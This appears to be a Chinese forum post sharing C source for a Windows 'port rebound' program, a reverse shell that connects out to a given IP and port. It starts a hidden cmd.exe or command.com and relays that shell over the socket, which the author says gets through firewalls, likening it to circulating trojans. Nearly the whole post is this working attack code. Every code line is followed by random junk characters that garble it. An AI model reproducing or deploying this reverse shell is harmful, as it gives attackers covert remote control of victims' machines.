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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 KnNh9^4"\2  
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/* ============================== & ``d  
Rebound port in Windows NT l6u&5[C  
By wind,2006/7 _NcY I  
===============================*/ oiH|uIsqR  
#include #DjCzz\  
#include /S\cU`ZVe  
f N "tA  
#pragma comment(lib,"wsock32.lib") =U. b% uC  
(LtkA|:  
void OutputShell(); X{g%kf,D=  
SOCKET sClient; gLSA!#[ h  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ((rv]f{  
=]>NDWqpHN  
void main(int argc,char **argv) '?Jxt:<  
{ e\b`n}nC  
WSADATA stWsaData; PjIeZ&p  
int nRet; =D^TK-H  
SOCKADDR_IN stSaiClient,stSaiServer; `PL[lP-<  
?QA\G6i4  
if(argc != 3) !tHt,eJy  
{ poJg"R4  
printf("Useage:\n\rRebound DestIP DestPort\n"); 1KYN>s:  
return; ]p~IYNl2%j  
} CWO=0_>2  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0q9>6?=i  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t+nRw?Z  
w18RA#Zo/  
stSaiClient.sin_family = AF_INET; b%t+,0s|  
stSaiClient.sin_port = htons(0); u7;~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Y&2aO1  
ba@=^Fa;  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) IOK}+C0e  
{ p$k\m|t  
printf("Bind Socket Failed!\n"); G]Jz"xH#  
return; ~B$b)`*  
} Y1dVM]l  
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stSaiServer.sin_family = AF_INET; _iE j  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lr2 rQo >  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); c {I"R8  
+3,|"g::  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) y>\S@I  
{ F pt-V  
printf("Connect Error!"); &&L"&Rc  
return; 4 UAvw  
} zx1:`K0bi  
OutputShell(); d/7lefF  
} \nqo%5XL  
%TrF0{NR90  
void OutputShell() $gMCR b,  
{ iQ^: ])m>  
char szBuff[1024]; (P==VZQg  
SECURITY_ATTRIBUTES stSecurityAttributes; _N3}gFh>  
OSVERSIONINFO stOsversionInfo; 2*U.^]~"{  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9YF$CXonE=  
STARTUPINFO stStartupInfo; s T3p>8n  
char *szShell; :Y)to/h  
PROCESS_INFORMATION stProcessInformation; (RXS~8  
unsigned long lBytesRead; {Ts:ZI+ 8d  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); CQODXB^  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `dJDucD  
stSecurityAttributes.lpSecurityDescriptor = 0; ["3df>!f  
stSecurityAttributes.bInheritHandle = TRUE; Poa?Ej  
&C-;Sa4  
P ,K\  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); AH.9A_dG  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); xfSG~csoz  
/'y5SlE[J  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); i=v]:TOu  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zL s^,x  
stStartupInfo.wShowWindow = SW_HIDE; j.3o W  
stStartupInfo.hStdInput = hReadPipe; {aN(d3c  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )%du@a8  
}gsO&g"8  
GetVersionEx(&stOsversionInfo); r9ke,7?  
i ilyw_$H  
switch(stOsversionInfo.dwPlatformId) X9~m8c){z  
{ wVi%oSfM  
case 1: :G'xi2bs  
szShell = "command.com"; ~"ONAX  
break; bdV3v`  
default: t ,qul4y}  
szShell = "cmd.exe"; ui'F'"tPz  
break; LD+f'^>>Z  
} gZ(O)uzv  
'=} Y2?(  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); .R5/8VuHF  
NcL =z o<  
send(sClient,szMsg,77,0); 0 15Owi  
while(1) jeDlH6X'  
{ =sQ(iso%f  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $<e +r$1  
if(lBytesRead) J(d2:V{h  
{ ccO aCr  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \_oy$>;  
send(sClient,szBuff,lBytesRead,0); Xa`(;CLW?  
} W._G0b4}  
else = cfm=+  
{ @)sc6 *lnW  
lBytesRead=recv(sClient,szBuff,1024,0); $ u2Cd4  
if(lBytesRead<=0) break; _1JmjIH)M  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PI7IBI  
} ) YSh D  
} 5_G'68;OV  
J0Four#MD  
return; ,0T)Oc|HL/  
}
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